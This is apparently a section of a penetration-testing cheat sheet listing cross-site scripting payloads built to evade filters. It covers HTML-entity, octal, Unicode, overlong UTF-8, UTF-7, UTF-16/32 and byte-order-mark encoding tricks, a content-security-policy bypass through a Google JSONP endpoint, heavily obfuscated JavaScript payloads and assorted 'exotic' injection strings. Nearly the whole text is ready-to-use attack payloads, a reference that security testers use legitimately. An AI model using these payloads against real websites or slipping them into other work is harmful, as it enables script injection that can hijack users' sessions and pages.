Bypass using HTML encoding

```
%26%2397;lert(1)
```

Bypass using Katakana (https://github.com/aemkei/katakana.js)

```
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
```

Bypass using Octal encoding

```
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
```

Bypass using Unicode

```
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')

Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was transformed into U+003C LESSTHAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
```

Bypass using Unicode converted to uppercase

```
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
```

```
<iframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
```

Bypass using overlong UTF-8

```
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
```

Bypass using UTF-7

```
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
```

Bypass using UTF-16be

```
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
```

Bypass using UTF-32

```
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.) BOM character allows you to override charset of the page

```
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
```

Bypass CSP using JSONP from Google (Trick by @apfeifer27 (https://twitter.com/apfeifer27)) //google.com/complete/search?client=chrome&jsonp=alert(1);

```
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
```

Bypass using weird encoding or native interpretation to hide the payload (alert())

```
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:
({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"
")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__
$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__
$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__
+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.
$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+
[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[
+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]
]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+
[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+
[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[]
)[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+
[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!
+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[
+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+
[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+(
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]
+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]
]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+
[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+
!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[
])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!
+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]
+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]
]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(
[][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!
+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+
[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[]
)[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])
[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+
([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!
+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]
+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+
!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+
[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+
[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!
+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```

Exotic payloads

```
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img/id="alert&lpar;&#x27;XSS&#x27;&#x29;\"/alt=\"/\"src=\"/\"onerror=eval(id&#x29
;>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert&#40;&#39;1&#39;&#41</x>
<iframe src=""/srcdoc='&lt;svg onload&equals;alert&lpar;1&rpar;&gt;'>
```